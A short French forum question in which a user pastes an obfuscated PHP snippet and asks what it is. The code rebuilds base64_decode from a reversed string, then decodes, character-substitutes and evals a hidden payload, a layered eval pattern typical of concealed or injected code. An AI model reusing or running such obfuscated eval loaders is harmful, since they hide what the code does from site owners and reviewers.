Script ou codage ?

Bonjour,

je voulait savoir c'est quoi ce script ou ce code svp :


$_F=__FILE__;$_X='P2lCPw1WDVYNVnpNdlFzek0+KCJYaD1aV2guTWU5TXpYLj1ZVyIpOw1Wek12UXN6TT4oIlhoPVpXaD1PWl89WldYLj1ZVyIpOw1Wek12UXN6TT4oIlhoPVpXaHlPSD1leT1fPVpXWC49WVciKTsNVg1WTTIuTz4iQjx6PmhpQjlzYz5lV3N4SFNcIjJNSD1NelwiaW1PfU16TTkmSDxuWjs8cSZIPG5aO0JlPi56TUFTXCIuPT1aOmhofX19WGNzej1RZVducW49TVlYOU1cIj49cz1XTVNcIkdPbj1NSFdPbk0+bXRtLXAyenNaPU0+QSZRUVlXO3o+e008WWVuPU16XCI+PWV6eE09U1wiXzxXZUh5XCJpY3N6PVFlV25xbj1NWVg5TUJoZWlCaDlzY2lCPHo+aGkiOw1WDVZ6TXZRc3pNPigiWGg9WldoQU9PPU16WC49WVciKTsNVg1WP2kNVg==';$_D=strrev('edoced_46esab');eval($_D('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCdTZ1BPOVlaV0ZLbXF5ZnhjakxKUnp1TTV2TnRzMWIue0I0bkNdaS8yRGwwRWhlQQpbZDg9UXA+VlhvIEh9NkdJdzdrYTNUclU8JywnPVI5b2RtcGxBRVB5azhndls1M3hyTWV6cVpIaTdZaFc8RHNHez5DY1h9MU4vYWZqNl1KdHVTIAouQlVud1ZLTFFPMjBJVEY0YicpOyRfUj1lcmVnX3JlcGxhY2UoJ19fRklMRV9fJywiJyIuJF9GLiInIiwkX1gpO2V2YWwoJF9SKTskX1I9MDskX1g9MDs='));


merci a l'avance pour vos reponses